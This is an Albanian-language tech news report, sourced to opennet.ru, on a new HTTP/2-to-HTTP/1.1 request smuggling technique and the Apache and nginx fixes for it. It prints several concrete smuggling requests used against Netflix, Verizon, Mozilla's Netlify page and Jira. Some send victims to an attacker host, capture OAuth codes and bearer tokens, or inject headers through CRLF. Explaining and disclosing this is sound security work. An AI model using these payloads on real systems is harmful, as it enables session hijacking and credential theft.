Sistemat e internetit, ku frontend-i merr lidhje përmes HTTP/2 dhe i kalon backend-it përmes HTTP/1.1, janë të ekspozuara ndaj një varianti të ri të sulmit "HTTP Request Smuggling", i cili lejon që përmes dërgimit të kërkesave të strukturuara veçmas, të ndërhyhet në përmbajtjen e kërkesave të përdoruesve të tjerë që përpunohen në të njëjtin rrjedhë mes frontend-it dhe backend-it. Sulmi mund të përdoret për të injektuar kod JavaScript të dëmshëm në një seancë me një site legjitim, për të anashkaluar sistemet e kufizimit të aksesit dhe për të kapur parametrat e autentikimit.
Problemi preku web-proxy, balancuesit e ngarkesës, akseleratorët e uebit, sistemet e shpërndarjes së përmbajtjes dhe konfigurime të tjera, ku kërkesat redirektohen në skemën frontend-backend. Autori i hulumtimit demonstroi mundësinë e sulmit në sistemet e Netflix, Verizon, Bitbucket, Netlify CDN dhe Atlassian dhe fitoi 56 mijë dollarë në programet e shpërblimeve për identifikimin e dobësive. Prania e problemit është konfirmuar gjithashtu në produktet e F5 Networks. Problemi prek pjesërisht mod_proxy në serverin http Apache (CVE-2021-33193), ndreqjet priten në versionin 2.4.49 (zhvilluesit u njoftuan për problemin në fillim të majit dhe morën 3 muaj për ta rregulluar). Në nginx mundësia për të specifikuar njëkohësisht titujt "Content-Length" dhe "Transfer-Encoding" u bllokua në lajmin e fundit (1.21.1). Mjetet për realizimin e sulmeve janë tashmë të përfshira në mjetin Burp dhe janë në dispozitë në formën e një zgjerimi Turbo Intruder.
Parimi i funksionimit të metodës së re të infiltrimit të kërkesave në trafik është i ngjashëm me dobësinë e zbuluar nga i njëjti hulumtues dy vjet më parë, por i kufizuar për frontend-et që pranojnë kërkesat përmes HTTP/1.1. Të kujtojmë se në skemën frontend-backend, kërkesat e klientëve pranohen nga një nod extra - frontend, i cili vendos një lidhje TCP me jetëgjatë me backend-in, i cili bën përpunimin e drejtpërdrejtë të kërkesave. Përmes kësaj lidhjeje të përbashkët zakonisht kalojnë kërkesat e përdoruesve të ndryshëm, të cilat ndjekin njëra-tjetrën me ndarje nga mjetet e protokollit HTTP.
Sulmi klasik "HTTP Request Smuggling" bazohej në faktin se frontend-et dhe backend-et interpretojnë ndryshe përdorimin e titujve HTTP "Content-Length" (cila përcakton madhësinë totale të të dhënave në kërkesë) dhe "Transfer-Encoding: chunked" (e cila lejon dërgimin e të dhënave pjesë-pjesë). Për shembull, nëse frontend-i mbështet vetëm "Content-Length", por injoron "Transfer-Encoding: chunked", atëherë sulmuesi mund të dërgojë një kërkesë, në të cilën për njëkohësisht specifikohen titujt "Content-Length" dhe "Transfer-Encoding: chunked", por madhësia në "Content-Length" nuk korrespondon me madhësinë e vargut chunked. Në këtë rast, frontend-i do të përpunojë dhe redirektojë kërkesën në përputhje me "Content-Length", ndërkohë që backend-i do të presë përfundimin e bllokut në bazë të "Transfer-Encoding: chunked" dhe pjesa e mbetur e kërkesës së sulmuesit do të përfshihet në fillim të një kërkese tjetër, që kalon pas saj.
Ndryshe nga protokolli tekstual HTTP/1.1, i cili analizohet në nivelin e rreshtave, HTTP/2 është një protokoll binar dhe manipalon blloqe të dhënash me madhësi të parapërcaktuar. Në këtë rast, në HTTP/2 përdoren pseudo-tituj, të cilët përputhen me titujt e zakonshëm HTTP. Në rastin e ndërveprimit me backend-in përmes protokollit HTTP/1.1, frontend-i transformon këta pseudo-tituj në tituj përkatës HTTP/1.1. Problemi është se backend-i merr vendime për analizimin e rrjedhës bazuar në titujt HTTP të vendosura nga frontend-i, pa pasur informacion për parametrat e kërkesës origjinale.
Përfshirë në formën e pseudo-titujve, mund të dërgohen vlerat "content-length" dhe "transfer-encoding", ndonëse në HTTP/2 ato nuk përdoren, pasi madhësia e të dhënave përcaktohet në një fushë të veçantë. Megjithatë, në procesin e transformimit të kërkesës HTTP/2 në HTTP/1.1, këta tituj transferohen dhe mund të tundojnë backend-in. Ndahen dy variante kryesore të sulmit: H2.TE dhe H2.CL, në të cilat backend-i mashtrohet me një vlerë të gabuar të transfer-encoding ose content-length, e cila nuk korrespondon me madhësinë reale të trupit të kërkesës, e cila ka arritur në frontend përmes protokollit HTTP/2.

Si një shembull të sulmit H2.CL, jepet caktimi i një madhësie të gabuar në pseudo-titullin content-length gjatë dërgimit të një kërkese HTTP/2 në Netflix. Kjo kërkesë çon në shtimin e një titulli të ngjashëm HTTP Content-Length gjatë kërkesës ndaj backend-it përmes HTTP/1.1, por pasi madhësia në Content-Length është e specifikuar më pak se e vërteta, atëherë një pjesë e të dhënave në fund përpunohen si fillimi i një kërkese tjetër.
Për shembull, kërkesa HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Do të çojë në dërgimin e një kërkese në backend: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Duke qenë se Content-Length ka vlerën 4, backend-i do të perceptojë si përmbajtje të kërkesës vetëm «abcd», dhe pjesa tjetër «GET /n HTTP/1.1…» do të përpunojë si fillim të një kërkese tjetër, të lidhur me një përdorues tjetër. Kështu, do të ndodhë një shpërbërje e rrjedhës dhe në përgjigje të kërkesës së mëpasshme do të jepet rezultati i përpunimit të kërkesës mashtruese. Në rastin e Netflix, specifikimi i një hosti të tretë në titullin «Host:» në kërkesën mashtruese çoi në dërgimin te klienti të përgjigjes «Location: https://02.rs?x.netflix.com/n» dhe lejoj të dërgohej përmbajtje të rastësishme, duke përfshirë ekzekutimin e kodit tuaj JavaScript në kontekstin e faqes së internetit Netflix.
Varianti i dytë i sulmit (H2.TE) lidhet me futjen e titullit «Transfer-Encoding: chunked». Përdorimi i pseudo-titullit transfer-encoding në HTTP/2 ndalohet nga specifikimi dhe kërkesat me të duhet të trajtohen si të pasakta. Megjithatë, disa implementime të frontend-eve nuk e marrin parasysh këtë kërkesë dhe lejojnë përdorimin e pseudo-titullit transfer-encoding në HTTP/2, i cili konvertohet në një titull të ngjashëm HTTP. Në prani të titullit «Transfer-Encoding», backend-i mund ta perceptojë atë si më prioritar dhe të përfundojë të ndajë të dhënat në mënyrë të pjesshme në modin «chunked» duke përdorur blloqe me madhësi të ndryshme në formatin «{madhësia}\r\n{bloqi}\r\n{madhësia}\r\n{bloqi}\r\n0», pavarësisht nga ndarja fillestare sipas madhësisë së përgjithshme.
Prania e një çarje të tillë u demonstruar në shembullin e kompanisë Verizon. Nga ana e tij, problemi ishte në portalin e autentifikimit dhe sistemi i menaxhimit të përmbajtjes, i cili gjithashtu përdoret në faqe si Huffington Post dhe Engadget. Për shembull, kërkesa e klientit në HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
çoi në dërgimin e backend-it të kërkesës HTTP/1.1: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Backend-i, nga ana tjetër, e injoroi titullin «Content-Length» dhe realizoi ndarjen në rrjedhë në bazë të «Transfer-Encoding: chunked». Në praktikë, sulmi lehtësoi redirektimin e kërkesave të përdoruesve në faqen tuaj dhe gjithashtu kapjen e kërkesave të lidhura me autentifikimin OAuth, parametrat e të cilave ndriçoheshin në titullin Referer, si dhe simulimin e një seance autentifikimi dhe iniciimin e dërgimit të sistemit të kredencialeve të përdoruesit në hostin e sulmuesit. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
Për sulmin në implementimet HTTP/2, që nuk lejojnë specifikimin e pseudo-titullit transfer-encoding, është propozuar një metodë tjetër, e lidhur me futjen e titullit «Transfer-Encoding» përmes bashkëngjitjes së tij në tituj të tjerë pseudo me ndarje të simbolit të kalimit të rreshtit (në procesin e konvertimit në HTTP/1.1 në një rast të tillë krijohen dy tituj të ndryshëm HTTP).
Për shembull, problemi i përmendur ka qenë i ndjeshëm për Atlassian Jira dhe Netlify CDN (përdoret për ofrimin e faqes fillestare të Mozilla në Firefox). Veçanërisht, kërkesa HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
çoi në dërgimin e backend-it të kërkesës HTTP/1.1 POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
Një variant tjetër i futjes së titullit «Transfer-Encoding» ishte bashkëngjitja e tij në emrin e një titulli tjetër pseudo ose në vargun me metodën e kërkesës. Për shembull, kur i drejtohemi Atlassian Jira, emri i pseudo-titullit «foo: bar\r\ntransfer-encoding» me vlerën «chunked» çonte në shtimin e titujve HTTP «foo: bar» dhe «transfer-encoding: chunked», ndërsa specifikimi në pseudo-titullin «:method» vlera «GET / HTTP/1.1\r\nTransfer-encoding: chunked» përkthehej në «GET / HTTP/1.1\r\ntransfer-encoding: chunked».
Ishin zbuluar problemi, hulumtuesi gjithashtu propozoi një teknikë tunelimi të kërkesave për të realizuar një sulm ndaj frontend-eve, në të cilat për çdo adresat IP në vendoset një lidhje e veçantë me backend-in dhe trafiku i përdoruesve të ndryshëm nuk përzihet. Teknika e propozuar nuk lejon që të ndërhyhet në kërkesat e përdoruesve të tjerë, por ofron mundësinë e helmonjes së caches së përbashkët, që ndikon në përpunimin e kërkesave të tjera, dhe lejon zëvendësimin e headers të brendshëm HTTP, të përdorur për të transmetuar informatat ndihmëse nga frontend-i në backend (p.sh., gjatë autentikimit në anën e frontend-it, informata mbi përdoruesin aktual mund të kalojë në backend në këto headers). Një shembull i aplikimit të metodës në praktikë përmes helmonjes së caches ka arritur të fitojë kontroll mbi faqet në shërbimin Bitbucket.
Burimi: opennet.ru
